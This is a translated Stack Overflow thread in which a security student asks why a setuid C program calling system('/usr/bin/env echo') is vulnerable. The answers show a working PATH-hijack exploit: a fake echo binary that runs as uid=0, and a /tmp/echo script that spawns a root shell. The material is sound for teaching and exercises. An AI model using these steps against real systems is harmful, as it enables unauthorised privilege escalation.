这段C代码存在哪些漏洞?

34
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();

    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);

    system("/usr/bin/env echo and now what?");

}
我理解的方式是,上面的代码允许任意代码(或程序)执行——这是什么使其容易受到攻击?如何利用它?

3
为什么您认为这会导致任意代码执行? - Oliver Charlesworth
说实话,我是凭着盲信来做的。我是一名安全学生,正在查看易受攻击的代码,然后看到了这个,书上说它会这样做,但并没有解释这个特定的例子。 - quantumdisaster
也许你指的是系统调用?对此并不是专家,但那是我看到的唯一看起来有点奇怪的东西。没有缓冲区溢出或类似的问题。 - Michael Dorgan
我认为系统调用也没有注意到任何缓冲区溢出。 - quantumdisaster
2
@quantumdisaster:这是哪本书? - Oliver Charlesworth
3
可能来自这里:http://exploit-exercises.com/nebula/level01 - jordanpg
2个回答

56
你可以覆盖PATH变量,将其指向带有自定义版本的echo的目录,由于echo是使用env执行的,因此它不会被视为内置命令。

只有在以特权用户身份运行代码时才构成漏洞。

下面的示例中,文件v.c包含问题中的代码。

$ cat echo.c
#include <stdio.h>
#include <unistd.h>

int main() {
  printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x  1 user     group  8752 Nov 29 01:55 echo
-rw-r--r--  1 user     group    99 Nov 29 01:54 echo.c
-rwsr-sr-x  1 root     group  8896 Nov 29 01:55 v
-rw-r--r--  1 user     group   279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$ 
请注意,对于提出问题的易受攻击代码中调用setresuid()之前的真实用户ID、有效用户ID和保存的设置用户ID的设置,即使只将有效用户ID设置为特权用户ID并保留真实用户ID不变(例如,依赖上述文件的设置用户ID位),也可以利用此漏洞。 如果没有调用setresuid(),由system()运行的shell会将有效用户ID重置回真实用户ID,使漏洞失效。但是,在以特权用户的真实用户ID运行易受攻击的代码的情况下,仅使用system()调用就足够了。 引用sh手册页面:

如果以有效用户(组)ID与真实用户(组)ID不相等启动shell,并且未提供-p选项,则不会读取任何启动文件,也不会从环境继承shell函数,如果SHELLOPTS变量出现在环境中,则会被忽略,并将有效用户ID设置为真实用户ID。 如果在调用时提供了-p选项,则启动行为相同,但有效用户ID不会被重置。

此外,请注意setresuid()不可移植,但setuid()setreuid()也可以产生同样的效果。

1
只是好奇... PATH 如何影响到这个问题?我本来以为由于已经指定了完整的 "env" 路径,所以不需要搜索 PATH。当然,如果有人有权限将恶意程序放在 /usr/bin/env 下,那就会出问题。 - Ron
12
env 搜索 PATH 找到 echo - Rob Napier
如果程序作为SUID根用户运行,您实际上可以覆盖环境吗? - Kerrek SB
@KerrekSB:例如,execvpe允许您明确设置应用程序运行的环境。现在,env本身就是设计用来修改环境的,所以我不确定这会对此产生什么影响。 - Bill Lynch

2

实际上,在系统函数调用中,你可以操作echo命令。比如,如果你执行以下代码:


Original Answer:最初的回答
echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH

您将获得一个具有文件所有者权限的shell。
最初的回答已经被翻译。

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接